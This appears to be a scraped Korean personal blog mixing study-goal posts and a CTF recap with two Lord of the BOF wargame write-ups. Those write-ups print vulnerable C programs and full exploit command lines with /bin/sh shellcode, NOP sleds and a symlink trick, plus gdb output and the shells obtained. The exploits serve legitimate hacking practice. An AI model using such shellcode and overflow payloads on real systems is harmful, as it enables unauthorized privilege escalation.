반응형

우선 이달은 부모님 생신. 생일선물을 위해 저축좀해야겠다


이달 내내 더블릿 10문제 푸는것을 목표로 합니다.

3월 14일쯤까진(그게 무슨날이죠? 뭐라고요? 잘 안들리네요) 지금 방법을 아는데도 성공시키지 못하는 lob문제를 풀고 rtl기법으로 밀고나갈..생각입니다. 디버깅 실력도 늘려야되는데!!!!!!!!!


요즘은 영어든 한글이든 난독증이 오는것같은데(아마 언어구상능력이 떨어지고 있다는 증거겠죠..), 그나마 한글이 나은데, 한글마저 어려우니까 이해가 힘든데 여러번 읽으면 점차 이해되겠죠? 하하..


..음 그래서 궁극적인 목표는 학교를 한달동안 별 탈없이 버티는것입니다...

 +)롤은 끊었어요 헤헤 어차피 못해서 늘 욕만먹다보니 별로 할마음도 없어지게되더라구여 가끔씩 들어가서 해야지



[후기]

..아.

이제와서 확인해보니 하나도 안함

나니??? 블로그에 글 왜적은겨???

lob는 풀고 문서도 좀 읽었는데 더블릿은 안풀었네여

반응형

'KOREAN > 뻘글' 카테고리의 다른 글

pCTF2014 irc log  (2) 2014.04.13
제 프로필 사진 어떤가요  (0) 2014.03.05
LeaveRet Wiki  (0) 2014.02.13
[1,2월목표] dovelet  (0) 2014.01.10
심볼릭 링크에 \x2f안들어가지잖아요  (0) 2014.01.07
반응형

http://anch0vy.tk/wiki/index.php


ㅋㅋㅋㅋ개성있다

재미있으니 한번 들르고가세요ㅋㅋ

반응형

'KOREAN > 뻘글' 카테고리의 다른 글

제 프로필 사진 어떤가요  (0) 2014.03.05
[3월목표] 잡다  (0) 2014.02.24
[1,2월목표] dovelet  (0) 2014.01.10
심볼릭 링크에 \x2f안들어가지잖아요  (0) 2014.01.07
2014년!  (0) 2014.01.04
반응형

Hey guys, if you guys came through because of a recon of Fuzyll, (:D) there's nothing to look for on this page. Glhf on your CTFs!

2014년 1월 19일 한 이틀(?)동안 Ghost In The Shellcode 대회가 열렸습니다.
오랜만의 대회! 우어어엉 하다가 제일 쉬운 문제만 두개풀고.. 으엉..
게다가 한문제는 1점짜리였다고 합니다
ㅠ..
와 근데 이번 CTF는 정말 고퀄리티였어요.
엄청난 시간과 노력을 투자한듯한ㄷㄷ

메인화면입니당.


그리고 문제화면이에요.

스코어보드와 왼쪽 아래에 Doge(!)가 보이죠ㅋㅋ

Doge는 요즘 유행하는 개(?) 말투(?)로서 Wow, Much ~~, Such ~~ 등의 어조입니다.

예를들면 Much amaze, Such difficulty! 이렇게 쓰일 수도 있죠.ㅋㅋ

Much game, such ctf, so wow! 

큼큼.. 오랜만의 포스팅질이라 신나나 봅니다.

암튼 이번 ctf의 꽃이었던 게임으로 바로 넘어가겠습니다


실제 RPG게임을 만들어 던져줬습니다.

후덜덜합니다.

동작도 되고 실제 게임입니다. 게임핵도 먹혀요ㄷㄷ

고로, 게임을 해킹하란 소리였습니다.

저 해본적 음슴 망함 암튼 그래서 저는 플레이만 하기로 했습니다! ㅎ하ㅏㅎ!

로긴을 하고 캐릭터선택을 하고! 플레이합니다ㅋㅋ


(게임플레이 화면입니다)


대량학살.jpg

(아얄씨는 무시해주세여)


이게 퀘스트였는데. 저 상자 위에서 4분을 버텨야 했지만, 약 1분이 남았을떄 곰들이 처참히 죽이는 바람에 못 깨는 퀘스트였습니다. 저는 게임핵을 만들줄도 몰라서 그냥 곰잡는 재미로 했죠...


사람잡는 곰입니다. 1분 남으면 다들 일어나서 총을쏩니다.(ㄷㄷ;;)

그래요. 운영진은 곰들에게 총을 준것입니다.


게임 내에서 아는분과의 만남도 있고ㅋㅋ 수다도 떨었습니다.

다른 분들도 많이 만나서 수다떨고.. 그냥 즐겼네요ㅋㅋ 게임 자체로 즐긴 것 같습니다..

재밌는 시간을 지나, 저는 피곤해서 그냥 자버렸네요.



곰아, 미안행

이 스샷 왜있는걸까요ㄷㄷ



암튼 그렇게 대회는 끝났다고 합니다.

PPP가 1등이네요ㄷㄷ

게다가 tomcr00seㄷㄷㄷㄷ혼자서 푸신걸텐데...



마무리는 Fuzyll이 만든 엔딩 크레딧 곡입니다. 중독성 짱이에요.

아얄씨에서 저랑 수다 많이 떠는데ㅋㅋㅋㅋ 이런거보면 역시 제 실력은 멀었슴다..

좋은 하루 보내세요~

모두들 수고하셨습니다.


반응형
반응형

제가 게으름을 엄청부립니다.

오늘 그런거에 대한 포스팅을 읽었는데요, (링크는 나중에 찾아서 올릴께요) 제가 거기의 게으름뱅이에 너무 해당하는것 같아서.. 오늘부터 바뀌어보겠습니다. 원래 제가 귀차니즘이 많아서 일도 되게 미루고 (예를 들면 학교숙제는 11시쯤에 시작한다던가) 그런데 그때까지 아무것도 안해요. 한 5시간동안 컴앞에 앉아서 진짜 아무것도 안해요. 결과물이 없는데 그동안 뭘했는지도 모르겠고.. 컴퓨터(소셜네트워크)중독인것 같아요.


저는 늘 목표를 너무 크게잡아서(작게잡아도 못지키고) 자책도 하고 이루지도 못하고 자신감도 없어지고 슬럼프도 걸려서 천천히 하려고여. 이게 쉽게 고쳐질지는 모르겟지만.... 그래도 안하는것보단 시도하는게 낫죠.


우선 첫번째 목표는 2월 중순까지 lob, 지금 하고 있는 vampire->skeleton을 끝내려고합니다.(한.. 발렌타인 데이까지?ㅠ) 이게 원래 그렇게 오래걸리는 단계가 아니라는데 지금 꽤 오래잡고있기도 했고.. 어렵네요..ㅋ...

그리고 두번째는 2월말까지 더블릿문제들을 50문제(이상) 풀으려고 합니다. 이건 좀 높은 목표인것같은데, 지금 2년동안 대충해서 29문제를 풀었는데 열심히 하면 50문제까지 풀 수 있을 것 같아요. 


이 목표 다 이룰때까진 롤은 안하려구요 (제가 롤을 못하는것도있고ㅋㅋㅋ 점멸이 얼마 안남았긴 한데..)

으으.. 꼭지켜야지



----[후기(?)]-------------------------------------------------------------------------------------------

2014.02.23

더블릿 50문제는 겨우겨우 다 풀었습니다. 다음달엔 10개 더 풀 예정입니다. 

적어보이긴 하지만 그 이상 해놓으면 이게 난이도가 갑자기 막 올라가서 어려울 것 같고, (제가 특별히 수학이나 뭐 이런걸 잘하는것도 아니고요) 지금 학교를 옮긴 상태인데 학교가 너무 안맞아서 정신적으로나 시간적으로나 너무 힘듭니다.. 지금 정신적으로 매우 후달리고있어요..


lob는 어떻게 해야할지 모르겠네요. 현 단계는 어떻게 해야하는진 아는데 잘 안되고.. 이게 실력&경험이 있음과 없음의 차이입니다.. 방법을 들엇는데도, 어떻게 되는지도 아는데도 공격실행을 못시키다니 으헝헝ㅠㅠ

암튼 그래서 이건 잠시 뒷편에 넣어두고 6월까지 rop 꼭 이해해서 성공시킬껍니다 꼭이요

지금은 rtl하고 있는데 이것도 방법은 알겠는데 성공이 안되네요 크흡 이걸로 아마 lob 몇몇단계 풀 수 있을테니 이걸로 밀고나갈껍니다. 한동안은. 가상머신을 사용할 수 있는동안은.

근데 브엠 배터리 엄청먹네요 학교에선 사용하기 너무힘들어요 배터리 파괴신


근데 진짜 시간이 너무 없어요.. 망할학교.. 프로젝트에다가 시험을 마구 던져주네요. 이런 악마같은 선생들이.. 게다가 점수도 잘주는것도 아니고.. 너무 힘들어요ㅠㅠㅠㅠㅠㅠ

넴 뻘글 봐주셔서 감사합니다

반응형

'KOREAN > 뻘글' 카테고리의 다른 글

[3월목표] 잡다  (0) 2014.02.24
LeaveRet Wiki  (0) 2014.02.13
심볼릭 링크에 \x2f안들어가지잖아요  (0) 2014.01.07
2014년!  (0) 2014.01.04
xcz.kr 풀이를 다 옮겨왔다!  (0) 2013.11.28
반응형

그게 슬래쉬로 인식되서 그런다는데 

그러면 그냥 디렉토리를 만들으래요.

졸천재인듯

반응형

'KOREAN > 뻘글' 카테고리의 다른 글

LeaveRet Wiki  (0) 2014.02.13
[1,2월목표] dovelet  (0) 2014.01.10
2014년!  (0) 2014.01.04
xcz.kr 풀이를 다 옮겨왔다!  (0) 2013.11.28
추억의 예능프로그램들..  (0) 2013.11.27
반응형

모두 새해 복 많이 받으세요! 

늦은 새해인사네요ㅋㅋ

블로그를 운영한지 1년이 되었다니........

앞으로도 열심히 하겠습니다ㅋㅋ

새해 복 많이 받으세요! 2014년에도 즐거운 일만 가득하시기를~

반응형

'KOREAN > 뻘글' 카테고리의 다른 글

[1,2월목표] dovelet  (0) 2014.01.10
심볼릭 링크에 \x2f안들어가지잖아요  (0) 2014.01.07
xcz.kr 풀이를 다 옮겨왔다!  (0) 2013.11.28
추억의 예능프로그램들..  (0) 2013.11.27
Phonebloks- A phone worth keeping (1)  (0) 2013.11.02
반응형

흐아아앗!

흐콰한다!!

[troll@localhost troll]$ cat vampire.c

/*

        The Lord of the BOF : The Fellowship of the BOF

        - vampire

        - check 0xbfff

*/


#include <stdio.h>

#include <stdlib.h>


main(int argc, char *argv[])

{

char buffer[40];


if(argc < 2){

printf("argv error\n");

exit(0);

}


if(argv[1][47] != '\xbf')

{

printf("stack is still your friend.\n");

exit(0);

}


        // here is changed!

        if(argv[1][46] == '\xff')            //페이로드의 47번째, 즉 ret부분의 주소가 \xbfff~~                                                                  형식이 아니어야 합니다

        {

                printf("but it's not forever\n");

                exit(0);

        }


strcpy(buffer, argv[1]); 

printf("%s\n", buffer);

}

[troll@localhost troll]$ ./vampire `perl -e 'print "\xbf"x44, "\xff\xff\xfe\xbf", "\x90"x70000, "\x6a\x0b\x58\x99\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\xcd\x80"'`

옜옜옜옜옜옜옜옜옜옜옜옜옜옜옜옜옜옜옜옜옜옜???????????????????????????????????????????????????????????????????????????????????????????????????????????

(...생략)

????????????????????????????????j

                                     X?Rh//shh/bin??S?訴€

bash$ my-pass

euid = 509


처음봤을땐 '어미친 이거 뭔소리야' 이랬는데

스택은 메모리가 큰주소에서 작은주소로 자라잖아여!! 그래서 늘리는거야!! 쭉쭉!!!!

처음에는 0xbfffffff를 기준으로 nop를 넣거나 코어로 esp의 주소를 보고 그 기준으로 0xbffeffff까지의 거리를 재려고 했으나 그냥 대충 0xbfffffff 에서 0xbffeffff까지의 거리를 계산해서 nop를 마구 넣었더랬죠! (7만개 으캬캬컄)

그러니까 스택을 미친듯이 크게 늘려서!! 주소가 \xbffe~~가 될때까지!! 그리고 nopsled를 타고 쮹!!!!

진짜 되네요ㅋㅋㄷㄷ

반응형

'STUDY > Lord of the BOF' 카테고리의 다른 글

skeleton->golem  (5) 2014.03.17
vampire->skeleton  (2) 2014.02.25
orge->troll  (0) 2013.12.21
darkelf->orge  (0) 2013.11.22
wolfman->darkelf  (0) 2013.11.21
반응형
ㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋ아 미친것같아요.

제가 지금 이걸 삽질한지 한달이 다되가는뎈ㅋㅋㅋㅋ

...하루만에 풀어버렸...

역시 안풀릴때는 처음으로 돌아가서 뭐든 다 날리고 다시시작하세여.

진리여.


밑의 더보기는 제 삽질(멘붕) 로그를 처음부터 끝까지 복붙한거에여.

멘탈건강을 위해 추천하지 않습니다. 밑에 또 정리해서 쓸거거든여.

하다가 멘붕와서 마구 엔터를 누른곳도.. 있기 때문에,

근데 많이 부족하다는걸 느낍니다.... 공부 열심히해야겠어요으어

풀이를 찾아보려고 하다가 아! 한번만 더 해보자! 했는데 풀렸쪙

그리고 스택은 어렵네요 아  머릿속에 그려지면서도 막 더 정보가 들어오면 뒤죽박죽이 됨..

그래서 해공예를 읽고있죠! 이번에 도움이 된것 같습니다ㅋㅋㅋ 



login: orge

Password: 

Last login: Fri Dec 13 09:58:07 from 192.168.0.1

[orge@localhost orge]$ ls

core

trall

trall.c

troll

troll.c

[orge@localhost orge]$ ln -s ./trall `perl -e 'print "\xeb\x11\x5e\x31\xc9\xb1\x32\x80\x6c\xf\x01\x80\xe9\x01\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\x32\xc1\x51\x69\x30\x30\x74\x69\x69\x3\x6a\x6f\x8a\xe4\x51\x54\x8a\xe2\x9a\xb1\x0c\xce\x81"'` //심볼릭링크 생성.

[orge@localhost orge]$ cat trall.c

/*

        The Lord of the BOF : The Fellowship of the BOF

        - troll

        - check argc + argv hunter

*/


#include <stdio.h>

#include <stdlib.h>


extern char **environ;


main(int argc, char *argv[])

{

char buffer[40];

int i;


// here is changed

if(argc != 2){

printf("argc must be two!\n");

}


// egghunter 

for(i=0; environ[i]; i++)

memset(environ[i], 0, strlen(environ[i]));


if(argv[1][47] != '\xbf')

{

printf("stack is still your friend.\n");

exit(0);

}


// check the length of argument

if(strlen(argv[1]) > 48){

printf("argument is too long!\n");

exit(0);

}


strcpy(buffer, argv[1]); 

printf("%s\n", buffer);


        // buffer hunter

        memset(buffer, 0, 40);


// one more!

memset(argv[1], 0, strlen(argv[1])); /argv[1] 0으로 초기화, 고로 argv[0]에다가 넣어야함


}

[orge@localhost orge]$ ./`perl -e 'print "\xeb\x11\x5e\x31\xc9\xb1\x32\x80\x6c\x0e\xff\x01\x80\xe9\x01\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\x32\xc1\x51\x69\x30\x30\x74\x69\x69\x30\x63\x6a\x6f\x8a\xe4\x51\x54\x8a\xe2\x9a\xb1\x0c\xce\x81"'` `perl -e 'print "\x90"x44, "\xc4\xfa\xff\xbf"'`

????????????????????????????????????????????퀭

Segmentation fault (core dumped)

[orge@localhost orge]$ ./`perl -e 'print "\xeb\x11\x5e\x31\xc9\xb1\x32\x80\x6c\x0e\xff\x01\x80\xe9\x01\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\x32\xc1\x51\x69\x30\x30\x74\x69\x69\x30\x63\x6a\x6f\x8a\xe4\x51\x54\x8a\xe2\x9a\xb1\x0c\xce\x81"'` `perl -e 'print "\x90"x44, "\xf5\xfa\xff\xbf"'`

????????????????????????????????????????????衝

Illegal instruction (core dumped)

[orge@localhost orge]$ ./`perl -e 'print "\xeb\x11\x5e\x31\xc9\xb1\x32\x80\x6c\x0e\xff\x01\x80\xe9\x01\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\x32\xc1\x51\x69\x30\x30\x74\x69\x69\x30\x63\x6a\x6f\x8a\xe4\x51\x54\x8a\xe2\x9a\xb1\x0c\xce\x81"'` `perl -e 'print "\x90"x44, "\xc4\xfa\xff\xbf"'`

????????????????????????????????????????????퀭 //하도 안되서 gdb로 코어를 뜯어보기로 했습니다.

Segmentation fault (core dumped)

[orge@localhost orge]$ gdb -q trall core


warning: core file may not match specified executable file.

Core was generated by `./?^12€l€?u楕凹2핽i00tii0cjo??T??

                                                                   귁?                            '.

Program terminated with signal 11, Segmentation fault.

Reading symbols from /lib/libc.so.6...Xshelldone.

Reading symbols from /lib/ld-linux.so.2...done.

#0  0xbffffac9 in ?? ()

(gdb) x/50wx $esp

0xbffffa80: 0x00000000 0xbffffac4    0xbffffad0    0x40013868

0xbffffa90: 0x00000002 0x08048450 0x00000000 0x08048471

0xbffffaa0: 0x08048500 0x00000002 0xbffffac4    0x08048390

0xbffffab0: 0x080486ac 0x4000ae60 0xbffffabc    0x40013e90

0xbffffac0: 0x00000002 0xbffffbb8    0xbffffbeb     0x00000000

0xbffffad0: 0xbffffc1c    0xbffffc2b    0xbffffc42    0xbffffc61

0xbffffae0: 0xbffffc83    0xbffffc8d    0xbffffe50    0xbffffe6f

0xbffffaf0: 0xbffffe89    0xbffffe9e    0xbffffeba     0xbffffec5

0xbffffb00: 0xbffffedd    0xbffffeea    0xbffffef2     0xbffffefc

0xbffffb10: 0xbfffff0c     0xbfffff1a     0xbfffff28     0xbfffff39

0xbffffb20: 0xbfffff44     0xbfffff54     0xbfffff94     0x00000000

0xbffffb30: 0x00000003 0x08048034 0x00000004 0x00000020

0xbffffb40: 0x00000005 0x00000006

(gdb) 

0xbffffb48: 0x00000006 0x00001000 0x00000007 0x40000000

0xbffffb58: 0x00000008 0x00000000 0x00000009 0x08048450

0xbffffb68: 0x0000000b 0x000001fb 0x0000000c 0x000001fb

0xbffffb78: 0x0000000d 0x000001fb 0x0000000e 0x000001fb

0xbffffb88: 0x00000010 0x0febfbff     0x0000000f 0xbffffbb3

0xbffffb98: 0x00000000 0x00000000 0x00000000 0x00000000

0xbffffba8: 0x00000000 0x00000000 0x69000000 0x00363836

0xbffffbb8: 0x11eb2f2e  0xb1c9315      0x0e6c8032 0xe98001ff

0xbffffbc8:0xebf67501    0xffeae805      0xc132ffff     0x30306951

0xbffffbd8:0x30696974   0x8a6f6a63     0x8a5451e4 0x0cb19ae2

0xbffffbe8:0x000081ce 0x00000000 0x00000000 0x00000000

0xbffffbf8: 0x00000000 0x00000000 0x00000000 0x00000000

0xbffffc08: 0x00000000 0x00000000

(gdb) quit

[orge@localhost orge]$ ./`perl -e 'print "\xeb\x11\x5e\x31\xc9\xb1\x32\x80\x6c\x0e\xff\x01\x80\xe9\x01\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\x32\xc1\x51\x69\x30\x30\x74\x69\x69\x30\x63\x6a\x6f\x8a\xe4\x51\x54\x8a\xe2\x9a\xb1\x0c\xce\x81"'` `perl -e 'print "\x90"x44, "\xb8\xfb\xff\xbf"'`


????????????????????????????????????????????뫈

bash$ quit

sh: quit: command not found

bash$ exit

exit

[orge@localhost orge]$ ././`perl -e 'print  //여기서 길이때문에 안되는거였슴다. 크흡..

 "\xeb\x11\x5e\x31\xc9\xb1\x32\x80\x6c\x0e\xff\x01\x80\xe9\x01\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\x32\xc1\x51\x69\x30\x30\x74\x69\x69\x30\x63\x6a\x6f\x8a\xe4\x51\x54\x8a\xe2\x9a\xb1\x0c\xce\x81"'` `perl -e 'print "\x90"x44, "\xb8\xfb\xff\xbf"'`

????????????????????????????????????????????뫈

Segmentation fault

[orge@localhost orge]$ ./`perl -e 'print "\xeb\x11\x5e\x31\xc9\xb1\x32\x80\x6c\x0e\xff\x01\x80\xe9\x01\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\x32\xc1\x51\x69\x30\x30\x74\x69\x69\x30\x63\x6a\x6f\x8a\xe4\x51\x54\x8a\xe2\x9a\xb1\x0c\xce\x81"'` `perl -e 'print "\x90"x44, "\xb8\xfb\xff\xbf"'`

????????????????????????????????????????????뫈

bash$ my-pass

euid = 508


근데 일부러 'argv[0]주소가 바뀌나??? 에이 설마' 그러면서도 긴가민가해서 argv[0]의 주소를 체크하는 코드를 쭉 넣었는데, 왜 그 코드의 결과와 실제 argv[0]이 있던 장소가 다른건지는 모르겠어요. 누구 말씀해주실분...

컴이 버벅거려서 글이 더 써지지 않네요. 타자를 빨리치면 글자가 띄엄띄엄;; ㅠㅠ


NOTES(빡침주의)

arcg=전달되는 인자의 단어수

멤셋이 근데 argv[1]에 되어있는데 3에 넣지도 못하고 어떡하지

-심볼릭링크이용

-파일을 가르키고 있는 파일이라고 한다 포인터같은건가;; 아님 환경변수같은건가 

심볼릭링크를 쓰면 스택은 니친구야! 라고 뜬다 아빡쳐

\x2f때문이라고한다


음 그렇다면 페이로드

argv0으로 쉘코드넣고(심볼릭링크) argv0의 주소를 얻어내고 그 후 argv1로 bf를 인증한다. 그다음에 argv의 nopsled를 이용해 타고내려간다! 근데 없쪙! argv0의 주소를 알아내고 바로가는수밖에!

argv 1로 44바이트는 쓰레기값으로 채우고 그 후에 리턴어드레스를 넣으면..되나?


반응형

'STUDY > Lord of the BOF' 카테고리의 다른 글

vampire->skeleton  (2) 2014.02.25
troll->vampire  (0) 2013.12.22
darkelf->orge  (0) 2013.11.22
wolfman->darkelf  (0) 2013.11.21
orc->wolfman  (0) 2013.11.21

+ Recent posts